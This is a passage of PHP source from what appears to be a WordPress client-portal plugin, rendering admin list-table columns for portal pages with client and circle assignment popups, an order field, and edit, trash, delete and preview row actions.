                $input_array = array('name' => 'wpc_clients_ajax[]', 'id' => 'wpc_clients_' . $post->ID, 'value' => implode(',', $users));
                $additional_array = array('counter_value' => count($users));
                $this->acc_assign_popup('client', isset($current_page) ? $current_page : '', $link_array, $input_array, $additional_array);
                ?>
                            </div>
                <?php 
            }
            if ($column_name == 'groups') {
                echo '<div class="scroll_data">';
                $id_array = $this->cc_get_assign_data_by_object('portal_page', $post->ID, 'circle');
                $link_array = array('data-id' => $post->ID, 'data-ajax' => 1, 'title' => sprintf(__('Assign %s to', WPC_CLIENT_TEXT_DOMAIN), $this->custom_titles['client']['s'] . ' ' . $this->custom_titles['circle']['p']));
                $input_array = array('name' => 'wpc_circles_ajax[]', 'id' => 'wpc_circles_' . $post->ID, 'value' => implode(',', $id_array));
                $additional_array = array('counter_value' => count($id_array));
                $this->acc_assign_popup('circle', isset($current_page) ? $current_page : '', $link_array, $input_array, $additional_array);
                echo '</div>';
            }
            if ($column_name == 'order') {
                $order = get_post_meta($post->ID, '_wpc_order_id', true);
                if (isset($order)) {
                    echo '<div class="scroll_data">';
                    echo '<input type="number" name="clientpage_order_' . $post->ID . '" id="clientpage_order_' . $post->ID . '" style="width: 70px;" value="' . $order . '" onblur="update_order(' . $post->ID . ')" />';
                    echo '<span class="wpc_ajax_loading" style="display:none" id="order_' . $post->ID . '"></span>';
                    echo '</div>';
                }
            }
            if ($column_name == 'portal_title') {
                $edit_link = get_edit_post_link($post->ID);
                $title = _draft_or_post_title();
                $post_type_object = get_post_type_object($post->post_type);
                $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
                echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
                _post_states($post);
                echo '</strong>';
                if ($post->post_parent > 0) {
                    echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
                }
                // Excerpt view
                if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                    echo apply_filters('the_excerpt', $post->post_excerpt);
                }
                // Get actions
                $actions = array();
                $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                if ($can_edit_post && 'trash' != $post->post_status) {
                    $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', WPC_CLIENT_TEXT_DOMAIN)) . '">' . __('Quick&nbsp;Edit', WPC_CLIENT_TEXT_DOMAIN) . '</a>';
                }
                if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                    if ('trash' == $post->post_status) {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                    }
                    if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                    }
                }
                if ($post_type_object->public) {
                    if ('trash' != $post->post_status) {
                        //make link
                        if ($this->permalinks) {
                            $portal_page_preview_url = $this->cc_get_slug('portal_page_id') . $post->post_name;
                        } else {
                            $portal_page_preview_url = add_query_arg(array('wpc_page' => 'portal_page', 'wpc_page_value' => $post->post_name), $this->cc_get_slug('portal_page_id', false));
                        }
                        $actions['view'] = '<a href="' . $portal_page_preview_url . '" target="_blank" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', WPC_CLIENT_TEXT_DOMAIN), $title)) . '" rel="permalink">' . __('Preview', WPC_CLIENT_TEXT_DOMAIN) . '</a>';
                    }
                }
                $actions = apply_filters('post_row_actions', $actions, $post);
                echo '<div class="row-actions">';
                $i = 0;
                $action_count = sizeof($actions);
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
            }
        }